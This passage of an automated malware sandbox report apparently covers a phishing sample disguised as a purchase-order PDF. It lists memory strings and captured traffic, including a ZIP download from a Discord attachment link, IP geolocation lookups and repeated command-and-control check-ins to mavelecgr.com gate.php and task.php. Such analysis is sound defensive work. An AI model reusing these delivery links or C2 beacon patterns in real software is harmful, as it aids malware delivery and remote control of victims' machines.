00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfp
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://search.yahoo.com?fr=crmas_sfpf
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	String found in binary or memory: https://support.google.com/chrome/answer/111996?visit_id=637962485686793996-3320600880&p=update_erro
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	String found in binary or memory: https://support.google.com/chrome/answer/6315198?product=
Source: asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome?p=upda
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome?p=upda_i
Source: asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	String found in binary or memory: https://support.google.com/chrome?p=update_error
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/chrome?p=update_errorFix
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.701271590.000000000341B000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/instal
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	String found in binary or memory: https://support.google.com/installer/?product=
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004572000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000458F000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045D4000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000045FC000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.000000000454A000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004619000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004131000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004159000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040EC000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004176000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040A7000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000040CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004669000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004691000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041EE000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/Google
Source: PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.0000000004675000.00000004.00000800.00020000.00000000.sdmp, PO 78182656_PDF Rexel India Pvt Ltd iGST_eH2mYaM.exE, 00000014.00000002.727707333.00000000046A8000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041D3000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.0000000004205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/https://www.google.com/intl/en_uk/chrome/https://www.google
Source: asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	String found in binary or memory: https://www.google.com/intl/en_uk/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrows
Source: asGTRKuvQ.exe, 00000026.00000002.701372874.0000000002F8C000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.00000000041C6000.00000004.00000800.00020000.00000000.sdmp, asGTRKuvQ.exe, 00000026.00000002.725073734.000000000421C000.00000004.00000800.00020000.00000000.sdmp, Chrome_History.txt.20.dr	String found in binary or memory: https://www.google.com/search?q=chrome&oq=chrome&aqs=chrome..69i57j0j5l3j69i60l3.2663j0j4&sourceid=c

Source: unknown

HTTP traffic detected: POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1Host: accounts.google.comConnection: keep-aliveContent-Length: 1Origin: https://www.google.comContent-Type: application/x-www-form-urlencodedSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CONSENT=PENDING+904; SOCS=CAISHAgCEhJnd3NfMjAyMjA4MDgtMF9SQzEaAmVuIAEaBgiAvOuXBg

Source: unknown

DNS traffic detected: queries for: accounts.google.com

Source: global traffic	HTTP traffic detected: GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=104.0.5112.81&lang=en-US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1Host: clients2.google.comConnection: keep-aliveX-Goog-Update-Interactivity: fgX-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmiedaX-Goog-Update-Updater: chromecrx-104.0.5112.81Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /attachments/897446870190800920/1077105532562853908/REVISED_PURCHASE_ORDER.zip HTTP/1.1Host: cdn.discordapp.comConnection: keep-alivesec-ch-ua: "Chromium";v="104", " Not A;Brand";v="99", "Google Chrome";v="104"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//config.json HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//gate.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
Source: global traffic	HTTP traffic detected: GET /webpanel//task.php?hwid=CH35A22CC8A7 HTTP/1.1Host: mavelecgr.com
